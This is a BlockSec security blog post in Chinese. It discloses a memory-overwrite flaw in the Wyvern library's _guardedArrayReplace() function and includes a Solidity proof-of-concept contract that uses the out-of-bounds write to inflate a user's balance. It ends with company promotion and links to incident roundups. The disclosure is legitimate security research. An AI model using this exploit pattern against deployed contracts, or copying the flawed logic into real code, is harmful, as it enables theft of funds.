Wyvern协议中新发现内存覆盖漏洞

Wyvern协议中新发现内存覆盖漏洞

介绍

我们的漏洞检测系统在 Wyvern 库的最新实现中发现了一个内存覆盖漏洞。Wyvern 库隶属于 Wyvern 去中心化交易所协议,该协议曾被 OpenSea 使用。此漏洞可能导致任意存储写入

我们曾尝试联系项目方(例如通过电子邮件和社交媒体),但尚未收到任何回复。鉴于 OpenSea 已迁移至 Seaport 协议,我们认为公开详细信息是安全的。此外,我们希望分享这些发现以吸引社区的关注,因为该漏洞本身有些棘手,而其利用方式却相当有趣。

描述

易受攻击的代码可在 官方代码仓库 中找到,提交哈希为 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9。

具体而言,此漏洞位于 ArrayUtils.sol 的 _guardedArrayReplace() 函数中。顾名思义,此函数用于将一个动态大小的字节数组(第二个参数 _desired)选择性地复制到另一个字节数组(第一个参数 _array)中。请注意,此函数实现了按字(即 0x20 字节)操作,因此代码逻辑可根据除法运算结果分为两个步骤。

对于商的部分(即 words = _array.length / 0x20),第 42 至 49 行的代码将逐字(word by word)将 desired 数组复制到目标数组。此步骤按预期工作,尽管第 39 行的断言语句由于整数运算而无效。

在前一步之后,如果除法运算产生余数,则表示仍有一些字节未被正确复制。第 52 至 66 行的代码逻辑旨在处理这些字节。不幸的是,第 52 行的 if 语句错误地使用了商(words,即 _array.length / 0x20)而不是余数(array.length % 0x20)来进行检查

严重性

此漏洞可能导致任意存储写入。假设 array.length 能被 0x20 整除,复制操作实际上在循环逻辑中完成。然而,在大多数情况下,函数将进入易受攻击的逻辑尝试将 desired 数组之后的一个字复制到目标数组,这不可避免地会导致越界访问。更糟糕的是,不正确的逻辑可能被利用来覆盖目标数组末尾的一个字,这是一个未知的内存区域,可以用于任何目的。

如何利用此漏洞?

我们开发了一个 PoC 合约来演示潜在的攻击向量。PoC 合约有两个函数,第一个名为 test(),用于执行攻击;第二个只是易受攻击的 guardedArrayReplace() 函数。

具体来说,在 test() 函数中,我们首先定义了一些内存中的字节(abmask)以及一个数组(_rewards)。此处定义的 _rewards 将用于计算用户的奖励。调用 guardedArrayReplace() 函数将 a 复制到 b 并使用 mask 后,_rewards 将被加到用户的余额(即 balances[msg.sender])中。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

我们使用 Remix 来演示结果。值得注意的是,最初我们没有为 _rewardsbalances 赋值。在利用此漏洞后,用户余额被设置为一个极大的值(如下图红色矩形所示)。

结论

虽然罕见,但此类内存覆盖漏洞仍可能存在于智能合约中。开发人员需要注意处理内存的代码逻辑。

关于 BlockSec

BlockSec 是一家开创性的区块链安全公司,成立于 2021 年,由一群全球杰出的安全专家创立。公司致力于为新兴的 Web3 世界增强安全性和可用性,以促进其大规模采用。为此,BlockSec 提供智能合约和 EVM 链安全审计服务,Phalcon 平台用于安全开发和主动阻止威胁,MetaSleuth 平台用于资金追踪和调查,以及 MetaDock 扩展,帮助 Web3 构建者高效地探索加密世界。

迄今为止,公司已服务超过 300 家知名客户,如 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap,并在两轮融资中获得了来自 Matrix Partners、Vitalbridge Capital 和 Fenbushi Capital 等知名投资者的数千万美元投资。

官方网站:https://blocksec.com/

官方 Twitter 账号:https://twitter.com/BlockSecTeam

Sign up for the latest updates
Weekly Web3 Security Incident Roundup | Feb 9 – Feb 15, 2026

Weekly Web3 Security Incident Roundup | Feb 9 – Feb 15, 2026

During the week of February 9 to February 15, 2026, three blockchain security incidents were reported with total losses of ~$657K. All incidents occurred on the BNB Smart Chain and involved flawed business logic in DeFi token contracts. The primary causes included an unchecked balance withdrawal from an intermediary contract that allowed donation-based inflation of a liquidity addition targeted by a sandwich attack, a post-swap deflationary clawback that returned sold tokens to the caller while draining pool reserves to create a repeatable price-manipulation primitive, and a token transfer override that burned tokens directly from a Uniswap V2 pair's balance and force-synced reserves within the same transaction to artificially inflate the token price.

Top 10 "Awesome" Security Incidents in 2025

Top 10 "Awesome" Security Incidents in 2025

To help the community learn from what happened, BlockSec selected ten incidents that stood out most this year. These cases were chosen not only for the scale of loss, but also for the distinct techniques involved, the unexpected twists in execution, and the new or underexplored attack surfaces they revealed.

#10 Panoptic Incident: XOR Linearity Breaks the Position Fingerprint Scheme

#10 Panoptic Incident: XOR Linearity Breaks the Position Fingerprint Scheme

On August 29, 2025, Panoptic disclosed a Cantina bounty finding and confirmed that, with support from Cantina and Seal911, it executed a rescue operation on August 25 to secure roughly $400K in funds. The issue stemmed from a flaw in Panoptic’s position fingerprint calculation algorithm, which could have enabled incorrect position identification and downstream fund risk.